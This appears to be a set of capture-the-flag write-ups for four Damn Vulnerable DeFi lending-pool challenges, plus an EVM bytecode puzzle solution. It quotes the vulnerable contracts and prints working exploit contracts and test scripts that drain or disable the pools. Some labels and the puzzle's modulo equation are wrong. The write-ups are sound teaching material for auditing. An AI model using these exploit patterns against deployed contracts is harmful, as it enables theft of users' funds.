Challenge:
Our fourth challenge is called ‘side entrance’ and it comes with the following prompt:
A surprisingly simple lending pool allows anyone to deposit ETH, and withdraw it at any point in time.
This very simple lending pool has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.
You must take all ETH from the lending pool.
So all we have to do is drain the pool!
The contract for this challenge is located in contracts/side-entrance/. The contract code can be found below:
SideEntranceLenderPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;
mapping (address => uint256) private balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amountToWithdraw = balances[msg.sender];
balances[msg.sender] = 0;
payable(msg.sender).sendValue(amountToWithdraw);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}
The hints and solutions for this level can be found below:
Hint 1:
When we call execute on the receiver, what can we do with the passed callvalue that doesn’t directly withdraw it but would allow us to access it in the future?
Solution:
The interface for the IFlashLoanEtherReceiver can be implemented by any contract that implements the `execute()` function. So, we can make a contract that implements `execute()` and if it calls the `flashLoan()` function then its `execute()` function will be called.
Now what we notice is that `execute()` takes no parameters but it is sent a callvalue (the amount asked for in the flash loan). While the flash loan requires that we pay it back, we can use this value to increment our balances mapping by calling back into the `deposit()` function of the SideEntranceLenderPool contract. Once our balance is set to the loaned amount, we can continue the flash loan process by paying it back and execute the `withdraw()` function separately to drain the contract's funds.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const SideEntrancePoolDrainerFactory = await ethers.getContractFactory('SideEntrancePoolDrainer', deployer);
this.se_attacker = await SideEntrancePoolDrainerFactory.deploy(this.pool.address);
await this.se_attacker.attack(ETHER_IN_POOL);
await this.se_attacker.payAttacker(attacker.address);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title SideEntrancePoolDrainer.sol
* @author securerodd
*/
interface ISideEntranceLenderPool {
function deposit() external payable;
function withdraw() external payable;
function flashLoan(uint256) external;
}
contract SideEntrancePoolDrainer {
ISideEntranceLenderPool public pool;
constructor(address _poolAddress) {
pool = ISideEntranceLenderPool(_poolAddress);
}
function execute() external payable{
pool.deposit{value: msg.value}();
}
function payAttacker(address _attacker) external payable {
payable(_attacker).transfer(address(this).balance);
}
function attack(uint _amount) external {
pool.flashLoan(_amount);
pool.withdraw();
}
receive() external payable{
}
}
Challenge:
Our third challenge is called ‘naive receiver’ and it comes with the following prompt:
More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.
Currently the pool has 1 million DVT tokens in balance. And you have nothing.
But don't worry, you might be able to take them all from the pool. In a single transaction.
So all we have to do is drain the pool!
The contract for this challenge is located in contracts/truster/. The contract code can be found below:
TrusterLenderPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
IERC20 public immutable damnValuableToken;
constructor (address tokenAddress) {
damnValuableToken = IERC20(tokenAddress);
}
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
The hints and solutions for this level can be found below:
Hint 1:
Looking at this level, we see that the only thing we can really control and/or manipulate is the target.functionCall(data)
line. Here we can pass in any data for a low-level call on any address. Due to the balanceAfter check, we also know that we cannot steal the balance during the flash loan due. So, knowing this - what action could we perform that would allow us to steal the balance after the flash loan is completed?
Hint 2:
How can we give ourselves permission to spend tokens on another’s behalf?
Solution:
This is a great reminder of why external calls made with attacker controlled input are dangerous. While we don't have the ability to spend tokens beyond what we pay back during the course of the flashloan, we can still leverage the external call to lead to the same result.
The external call is made by the pool contract which means that the pool contract will be the msg.sender for the call. We can abuse this detail to interact with the token contract and perform actions on the behalf of the pool. In this case, we can approve our malicious contract to spend all of the tokens held by the pool. This will allow us to steal all of the tokens even after the flash loan has completed.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const TrusterAttackerFactory = await ethers.getContractFactory('TrusterAttacker', deployer);
this.t_attacker = await TrusterAttackerFactory.deploy(this.pool.address);
await this.t_attacker.attack(TOKENS_IN_POOL, attacker.address, this.token.address);
await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title PoolDrainer.sol
* @author securerodd
*/
interface ITrusterLenderPool {
function flashLoan(uint256, address, address, bytes calldata) external;
}
contract TrusterAttacker {
ITrusterLenderPool public pool;
constructor(address _poolAddress) {
pool = ITrusterLenderPool(_poolAddress);
}
function attack(uint256 _amount, address _approvee, address _dvt) external {
pool.flashLoan(0, _approvee, _dvt, abi.encodeWithSignature("approve(address,uint256)", _approvee, _amount));
}
}
Challenge:
Our second challenge is called ‘naive receiver’ and it comes with the following prompt:
There's a lending pool offering quite expensive flash loans of Ether, which has 1000 ETH in balance.
You also see that a user has deployed a contract with 10 ETH in balance, capable of interacting with the lending pool and receiveing flash loans of ETH.
Drain all ETH funds from the user's contract. Doing it in a single transaction is a big plus ;)
Our goal therefore is to drain all ETH funds from the user’s deployed contract!
The contracts for this challenge are located in contracts/naive-receiver/. The contract code can be found below:
FlashLoanReceiver.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title FlashLoanReceiver
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FlashLoanReceiver {
using Address for address payable;
address payable private pool;
constructor(address payable poolAddress) {
pool = poolAddress;
}
// Function called by the pool during flash loan
function receiveEther(uint256 fee) public payable {
require(msg.sender == pool, "Sender must be pool");
uint256 amountToBeRepaid = msg.value + fee;
require(address(this).balance >= amountToBeRepaid, "Cannot borrow that much");
_executeActionDuringFlashLoan();
// Return funds to pool
pool.sendValue(amountToBeRepaid);
}
// Internal function where the funds received are used
function _executeActionDuringFlashLoan() internal { }
// Allow deposits of ETH
receive () external payable {}
}
NaiveReceiverLenderPool.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title NaiveReceiverLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract NaiveReceiverLenderPool is ReentrancyGuard {
using Address for address;
uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
function fixedFee() external pure returns (uint256) {
return FIXED_FEE;
}
function flashLoan(address borrower, uint256 borrowAmount) external nonReentrant {
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= borrowAmount, "Not enough ETH in pool");
require(borrower.isContract(), "Borrower must be a deployed contract");
// Transfer ETH and handle control to receiver
borrower.functionCallWithValue(
abi.encodeWithSignature(
"receiveEther(uint256)",
FIXED_FEE
),
borrowAmount
);
require(
address(this).balance >= balanceBefore + FIXED_FEE,
"Flash loan hasn't been paid back"
);
}
// Allow deposits of ETH
receive () external payable {}
}
The hints and solutions for this level can be found below:
Hint 1:
We are only concerned with draining the funds from the FlashLoanReceiver (borrower) contract. Is there a way we can make the borrower contract pay more than they should for a loan?
Hint 2:
What is weird about the way the amount to be repaid is calculated in receiveEther()
?
Solution:
The problem is twofold
1. Anybody can call a flashLoan on the receiver's behalf by passing in their address as the borrower parameter for the flashLoan() function in the lending pool contract.
2. The FlashLoanReceiver does not perform any checks on whether the transaction actually makes financial sense for the receiver. They accept the flash loan, perform an action, and then, regardless of the outcome of that transaction, repay the borrowed amount + a fixed fee of 1 eth.
With this in mind, we can see that we can force the flash loan receiver to spend 1 eth per flash loan. This can be achieved by passing in the flash loan receiver's contract address and a borrow amount of 0 to the flashLoan() function in the lending pool contract.
Doing so will call functionCallWithValue() on the flash loan receiver with a callvalue of 0 eth and fee parameter of 1 eth.
To put this all into a single transaction, we could simply write our own contract that would call the flashLoan function as described above 10 times.
Ethers Hint:
We want to deploy a contract and then call a function in that contract that will in turn call flashLoan()
. Much of this code can be cannabalized from the before
function in naive-receiver-challenge.js
.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const PoolDrainerFactory = await ethers.getContractFactory('PoolDrainer', deployer);
this.drainer = await PoolDrainerFactory.deploy(this.pool.address);
await this.drainer.attack(this.receiver.address, 0);
});
Contract Solution:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @title PoolDrainer.sol
* @author securerodd
*/
interface INaiveReceiverLenderPool {
function flashLoan(address,uint256) external;
}
contract PoolDrainer {
INaiveReceiverLenderPool public pool;
constructor(address _poolAddress) {
pool = INaiveReceiverLenderPool(_poolAddress);
}
function attack(address _victim, uint256 _amount) external {
for (uint i; i != 10; ++i) {
pool.flashLoan(_victim, _amount);
}
}
}
Challenge:
Our first challenge is called ‘unstoppable’ and it comes with the following prompt:
There's a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans ...
You start with 100 DVT tokens in balance.
Our goal therefore is to stop the pool from being able to offer flash loans and we have up to 100 DVT to play with.
The contracts for our first challenge are located in contracts/unstoppable/. The contract code can be found below:
UnstoppableLender.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IReceiver {
function receiveTokens(address tokenAddress, uint256 amount) external;
}
/**
* @title UnstoppableLender
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken;
uint256 public poolBalance;
constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
}
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);
damnValuableToken.transfer(msg.sender, borrowAmount);
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
ReceiverUnstoppable.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable {
UnstoppableLender private immutable pool;
address private immutable owner;
constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}
// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
require(msg.sender == address(pool), "Sender must be pool");
// Return all tokens to the pool
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}
The hints and solutions for this level can be found below:
Hint 1:
One way to prevent any transaction from going through
would be to trigger a revert each time it executes.
Where could this be achieved?
Hint 2:
Solution:
If we want to stop the pool from ever performing flash loans again, we have a few options we could explore:
1. Drain the pool, so it does not have any funds to offer for flash loans
2. Ensure this check always fails: `require(balanceBefore >= borrowAmount)`
3. Ensure this check always fails: `assert(poolBalance == balanceBefore)`
4. Ensure this check always fails: `require(balanceAfter >= balanceBefore)`
Each of these boils down to triggering a revert each time the pool attempts to perform a flash loan. Looking through these, we can see that number 1 requires another exploit to drain the contract and number 2 makes a comparison to a user-controllable input that we cannot readily manipulate. The 4th option requires the balance of the contract to differ within the same transaction, which would be difficult to ensure for all transactions.
The 3rd one is interesting, because all we would need to do is get the poolBalance variable out of sync with the true DVT balance of the pool.
This can be done with a force feeding attack.
Ethers Hint:
In order to make transactions on behalf of a user, you can connect to the ERC20 contract.
Ethers Solution:
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.connect(attacker).transfer(this.pool.address,1);
});
Challenge:
Our tenth and final challenge is located in /puzzles/puzzle_10.json. Challenge 10 contains the following:
{
"code": "38349011600857FD5B3661000390061534600A0157FDFDFDFD5B00",
"askForValue": true,
"askForData": true
}
Hint 1:
The corresponding EVM opcodes are:
CODESIZE
CALLVALUE
SWAP1
GT
PUSH1 08
JUMPI
REVERT
JUMPDEST
CALLDATASIZE
PUSH2 0003
SWAP1
MOD
ISZERO
CALLVALUE
PUSH1 0A
ADD
JUMPI
REVERT
REVERT
REVERT
REVERT
JUMPDEST
STOP
Hint 2:
We have 3 new opcodes here: GT, MOD, and ISZERO.
GT checks that the value on the top of the stack
is greater than the value directly below it on the stack.
It will place the result (1 for true or 0 for false)
on the top of the stack.
MOD performs modulo arithmetic on the top two
values on the stack and places the result
on top of the stack
ISZERO checks if the value on the top of the stack is 0.
It will place the result (1 for true or 0 for false)
on the top of the stack.
What should our calldata and call value be so that
we can pass the GT comparison check and return a value of 0
from our MOD operation in order to jump over all
of the REVERT opcodes?
Hint 3:
CODESIZE //Offset 0
CALLVALUE //Offset 1
SWAP1 //Offset 2
GT //Offset 3
PUSH1 08 //Offset 4
JUMPI //Offset 6
REVERT //Offset 7
JUMPDEST //Offset 8
CALLDATASIZE //Offset 9
PUSH2 0003 //Offset A
SWAP1 //Offset D
MOD //Offset E
ISZERO //Offset F
CALLVALUE //Offset 10
PUSH1 0A //Offset 11
ADD //Offset 13
JUMPI //Offset 14
REVERT //Offset 15
REVERT //Offset 16
REVERT //Offset 17
REVERT //Offset 18
JUMPDEST //Offset 19
STOP //Offset 1A
Solution:
Because of the swap need our call value to be less than our
code size. The code size is 0x1b, so any value below that
will pass this first check.
Next, we need our call data size (in bytes) to satisfy this
equation:
3 % X = 0
where X is the size of our call data
So, we can choose any multiple of 3 for byte size of our call data
to pass this check.
Finally, we our call value to satisfy this equation:
0x0A + X = 0x19
Where X is the call value in wei
Putting this all together, we can solve this by passing in
any 3 bytes of data for call data and the decimal value 15
for our call value.
Solution:
calldata: 0xFFFFFF call value: 15